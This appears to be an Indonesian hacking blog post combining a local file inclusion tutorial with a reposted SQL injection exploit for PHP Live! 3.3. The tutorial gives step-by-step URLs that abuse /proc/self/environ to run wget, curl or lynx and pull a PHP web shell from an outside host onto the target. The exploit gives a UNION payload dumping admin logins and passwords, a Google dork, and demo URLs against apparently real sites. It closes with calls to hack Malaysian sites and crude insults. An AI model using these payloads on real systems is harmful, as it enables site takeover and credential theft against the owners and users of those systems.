Injec Local File Inclusion
PHP live! 3.3 (deptid) Remote SQL injection
[SQL Injection Tool] Hexjector v1.0.7.4
Tutorial ASP MsSQL Injection
1.Injec Local File Inclusion
pengertian Local file inclusion adalah sebuah celah atau lubang pada site yang di mana para attacker bisa mengakses semua file atau mengambil alih site di dalam server dengan hanya melalui URL.
Buka browser anda, saya sendiri memakai mozilla firefox Ketikan di addrees bar di atas seperti ini “about:” (tanpa tanda kutip) klo sudah liat kata “Build identifier:blabla” itu masih bawaan asli dari firefox kamu..sekarang kita ubah Build identifier itu caranya seperti ini ketik “about:config” lalu enter dan enter sampai muncul config-config firefox kamu…nah sekarang kita buat string baru di sana klik kanan di mana saja, lalu pilih New-String klo sudah muncul kotak new string value isi dengan “general.useragent.override” lalu klik OK dan isi enter new valuenya dengan “” klo sudah klik OK saja..SELESE sekarang cek Build identifier sudah berubah ato belum dengan cara ketik lagi “about:” klo berubah seperti ini “Build identifier: ” nah firefox anda sudah siap untuk di pakai inject LFI
di sini saya tidak membicarakan bot scan LFI klo mau scan LFI langsung aja masuk ke irc.stmikbg.com..oke sekarang perhatikan hasil scan lfi ini…ex: http://www.BlaBla.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ nah sekarang buka site diatas dengan browser yang sudah kamu modif tadi tinggal copy di addrees lalu enter yang nantinya akan muncul seperti ini:
DOCUMENT_ROOT=/home/blabla/public_html/games?GATEWAY_INTERFACE=CGI/1.1?HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8?HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7?HTTP_ACCEPT_ENCODING=gzip,deflate?HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5?HTTP_CONNECTION=keep-alive?HTTP_COOKIE=UserInteraction7=KonaBase?HTTP_HOST=blabla.com?HTTP_KEEP_ALIVE=300?HTTP_USER_AGENT=
Notice: Undefined index: cmd in /proc/20085/environ on line 1
Warning: system() [function.system]: Cannot execute a blank command in /proc/20085/environ on line 1
PATH=/bin:/usr/bin?QUERY_STRING=action=../../../../../../../../../../../../../../../proc/self/environ?REDIRECT_STATUS=200?REMOTE_ADDR=222.124.156.231?REMOTE_PORT=3420?REQUEST_METHOD=GET?REQUEST_URI=//index.php?action=../../../../../../../../../../../../../../../proc/self/environ?SCRIPT_FILENAME=/home/blabla/public_html/zzz/index.php?SCRIPT_NAME=/index.php?SERVER_ADDR=174.132.115.6?SERVER_ADMIN=webmaster@blabla.com?SERVER_NAME=blabla.com?SERVER_PORT=80?SERVER_PROTOCOL=HTTP/1.1?SERVER_SIGNATURE=
Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n DAV/2 mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at blabla.com Port 80
SERVER_SOFTWARE=Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8n DAV/2 mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635?UNIQUE_ID=S@eCPK6EcwIAAAiIu9gAAAOD?http://www.BlaBla.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ <==setelah kamu enter environ akan berubah menjadi seperti ini environ? kalo mau inject ato setiap perubahan data yang mau di inject kembaliin seperti semula lagi seperti ini environ klo gak begitu data yang mau di wget ke dalam site tersebut tidak berjalan jadi harus kita ubah setiap kita enter..MENGERTI kan…klo gak percaya test aja sendiri nah sekarang tinggal kita tambahkan wget di belakangnya seperti ini :
ada banyak cara kalo mau inject lfi coba aja satu-satu :
http://www.croot.croot.croot.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ&cmd=wget http://citbun.com/tools/bd/fxshell.txt -O scroll.phphttp://www.croot.croot.croot.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ&cmd=curl http://citbun.com/tools/bd/fxshell.txt -o scroll.phphttp://www.croot.croot.croot.com//index.php?action=../../../../../../../../../../../../../../../proc/self/environ&cmd=lynx http://citbun.com/tools/bd/fxshell.txt -o scroll.phphttp://www.croot.croot.croot.com//index.php?action=../../../../../../../../../************************************************
2. PHP live! 3.3 (deptid) Remote SQL injection
[o] PHP Live! 3.3 (deptid) Remote SQL Injection --==[ Author ]==-- [+] Author : v3n0m [+] Contact : v3n0m666[at]live[dot]com [+] Blog : http://0wnage.wordpress.com/ [+] Group : YOGYACARDERLINK [+] Site : http://yogyacarderlink.web.id/ [+] Date : September, 02-2009 [INDONESIA] ************************************************************************* --==[ Details ]==-- [+] Software : PHP Live! Chat [+] Version : v3.3 [+] Vendor : http://www.phplivesupport.com/ [+] Price : $49.95 [+] Vulnerable : Remote SQL Injection [+] Google Dork : "Powered by PHP Live! v3.3" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [-] Exploit: [+] -999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin-- [-] Remote SQLi p0c: [+] http://127.0.0.1/[path]/message_box.php?theme=&l=[username]&x=[xxx]&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin-- [xxx] = Valid x number [-] Demo Live: [+] http://www.edunet-help.com/message_box.php?theme=&l=sekolahmy&x=1&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin-- [+] https://www.guestcentric.com/support/message_box.php?theme=&l=guestcentric_wb&x=1&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin-- FYI: Think twice before you buy these vulnerable script for $49.95 ? +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Special Thanks => str0ke & milw0rm RedLine Crew => Bang Musa,Bang Yuan Rasugi Sang,Mas Andre,Dagol,Yazid => Ogie,Angga,Indah Boing,by-y0u Pletokan,Andrew YOGYACARDERLINK => lingah,LeQhi,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,aRiee => yoga0400,ghareng,eidelweiss,pKi,kaka11,z0mb13,Travis Eshan => & para gay yogyagaylink bruakakakakakakak Others => g0par Santiago,Don Tukulesto,mixbrainwasher => badkiddies,broken_hack,M364TR0N & ALL MOSLEM HACKERS Big Thanks => mywisdom [nice 0-day, you're 31337] => yadoy666 [Mari kita ganyang malingsianjink] => Angela Zhang [kamu cantik,eksotis & mengerikan] (=^_^=) * Fuck to Malaysia <= the truly thief asia be carefull your culture art & song,island get stolen and claimed by them letz we hack they sites & servers !! PROUD TO BE INDONESIAN !! * 11:20pm in my bedroom, preparing office goes on...!! # milw0rm.com [2009-09-02] | |
| Total comments: 3 | ||||
| ||||
![[Valid Atom 1.0]](valid-atom.png "Validate my Atom 1.0 feed")
Tidak ada komentar:
Posting Komentar